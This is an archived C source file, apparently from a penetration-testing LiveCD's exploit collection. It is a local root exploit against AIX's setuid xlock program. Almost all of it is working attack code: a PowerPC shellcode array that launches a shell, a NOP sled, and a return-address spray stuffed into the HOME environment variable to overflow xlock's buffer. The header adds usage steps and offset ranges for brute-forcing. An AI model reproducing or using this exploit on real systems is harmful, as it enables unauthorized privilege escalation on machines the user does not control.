home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / aixxlock.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  93 lines

  1.     /*
  2.      *
  3.      *   /usr/bin/X11/xlock exploit (kinda' coded) by BeastMaster V
  4.      *
  5.      *   CREDITS: this code is simply a modified version of an exploit
  6.      *   posted by Georgi Guninski (guninski@hotmail.com)
  7.      *
  8.      *   USAGE:
  9.      *            $ cc -o foo -g aix_xlock.c
  10.      *            $ ./foo 3200
  11.      *            #
  12.      *
  13.      *   HINT: Try giving ranges from 3100 through 3400
  14.      *   (If these ranges don't work, then run the brute
  15.      *    korn shell script provided after the exploit)
  16.      *
  17.      *   DISCLAIMER: use this program in a responsible manner.
  18.      *
  19.      */
  20.  
  21.     #include <stdio.h>
  22.     #include <stdlib.h>
  23.     #include <string.h>
  24.  
  25.     extern int execv();
  26.  
  27.     #define MAXBUF 600
  28.  
  29.     unsigned int code[]={
  30.             0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  31.             0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  32.             0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  33.             0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  34.             0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  35.             0x7c0903a6 , 0x4e800420, 0x0
  36.     };
  37.  
  38.     char *createvar(char *name,char *value)
  39.     {
  40.             char *c;
  41.             int l;
  42.  
  43.             l=strlen(name)+strlen(value)+4;
  44.             if (! (c=malloc(l))) {perror("error allocating");exit(2);};
  45.             strcpy(c,name);
  46.             strcat(c,"=");
  47.             strcat(c,value);
  48.             putenv(c);
  49.             return c;
  50.     }
  51.  
  52.     main(int argc,char **argv,char **env)
  53.     {
  54.             unsigned int buf[MAXBUF],frame[MAXBUF],i,nop,toc,eco,*pt;
  55.             int min=200, max=300;
  56.             unsigned int return_address;
  57.             char *newenv[8];
  58.             char *args[4];
  59.             int offset=3200;
  60.  
  61.             if (argc==2) offset = atoi(argv[1]);
  62.  
  63.             pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt;
  64.  
  65.             *((unsigned short *)code+9)=(unsigned short) (toc & 0x0000ffff);
  66.             *((unsigned short *)code+7)=(unsigned short) ((toc >> 16) & 0x0000f
  67. fff);
  68.             *((unsigned short *)code+15)=(unsigned short) (eco & 0x0000ffff);
  69.             *((unsigned short *)code+13)=(unsigned short) ((eco >> 16) & 0x0000
  70. ffff);
  71.  
  72.             return_address=(unsigned)&buf[0]+offset;
  73.  
  74.             for(nop=0;nop<min;nop++) buf[nop]=0x4ffffb82;
  75.             strcpy((char*)&buf[nop],(char*)&code);
  76.             i=nop+strlen( (char*) &code)/4-1;
  77.  
  78.             for(i=0;i<max-1;i++) frame[i]=return_address;
  79.             frame[i]=0;
  80.  
  81.             newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  82.             newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  83.             newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  84.             newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  85.             newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  86.             newenv[5]=createvar("HOME",(char*)&frame[0]);
  87.  
  88.             args[0]="xlock";
  89.             execve("/usr/bin/X11/xlock",args,newenv);
  90.             perror("Error executing execve \n");
  91.  
  92.     }
  93.